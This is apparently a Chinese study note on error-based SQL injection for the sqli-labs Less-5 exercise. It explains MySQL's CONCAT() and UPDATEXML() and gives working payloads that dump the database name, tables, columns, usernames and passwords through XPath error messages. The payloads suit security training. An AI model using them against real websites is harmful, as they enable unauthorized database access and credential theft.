报错注入
Less-5 知识点
concat()
CONCAT()
是MySQL中的字符串连接函数,用于将两个或多个字符串合并成一个字符串
语法: 1
2
3CONCAT(string1, string2, string3, ...)
SELECT CONCAT('User ID: ', id, ', Name: ', name) AS user_info FROM users;
-- 结果: 'User ID: 1, Name: John'
连接的字符串可以用十六进制编码 1
2CONCAT(0x73656c656374, 0x202a, 0x66726f6d, 0x207573657273)
-- 相当于: 'select * from users'
updatexml()
UPDATEXML()
是MySQL中的一个XML函数,用于更新XML文档的特定部分
语法: 1
UPDATEXML(xml_target, xpath_expr, new_value)
参数说明: -
xml_target
:要操作的XML文档 -
xpath_expr
:XPath表达式,用于定位要修改的节点 -
new_value
:替换的新值
正常使用示例: 1
2
3
4
5
6SELECT UPDATEXML(
'<root><a>old value</a></root>',
'/root/a',
'<a>new value</a>'
) AS result;
-- 输出: <root><a>new value</a></root>
在SQL注入中的巧妙利用错误原理
当UPDATEXML()
的第二个参数(XPath表达式)不是有效的XPath格式时,MySQL会报错,但会在错误信息中返回这个无效的表达式的值。
注入利用方法
1 | AND UPDATEXML(1, CONCAT(0x7e, (SELECT database()), 0x7e), 1) |
解释: -
1
:任意值(因为不需要真正的XML文档) -
CONCAT(0x7e, (SELECT database()), 0x7e)
:在查询结果前后添加~
(0x7e是~
的十六进制)
- 1
:任意替换值
执行结果: 会报错类似: 1
XPATH syntax error: '~database_name~'
处理数据截断
由于错误信息显示长度有限(通常32位),可以使用: 1
2
3AND UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT GROUP_CONCAT(username) FROM users), 1, 30)
, 0x7e), 1) --+
或者分段提取: 1
2
3
4
5
6
7AND UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 20)
, 0x7e), 1) --+
AND UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT password FROM users LIMIT 0,1), 21, 40)
, 0x7e), 1) --+?id=1'
2.
无回显,使用报错注入:?id=1' and ...
1
2
3
4
5
6
7
8
9
10
11
12
13--得到库名为security
and updatexml(1,concat(0x7e,database()),1)--+
--得到表名为users
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
--得到列名
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
--得到用户名和密码
and updatexml(1,substring(concat(0x7e,(select group_concat(username) from users)), 1, 20),1)--+
and updatexml(1,substring(concat(0x7e,(select group_concat(password) from users)), 1, 25),1)--+
--用户其他以此类推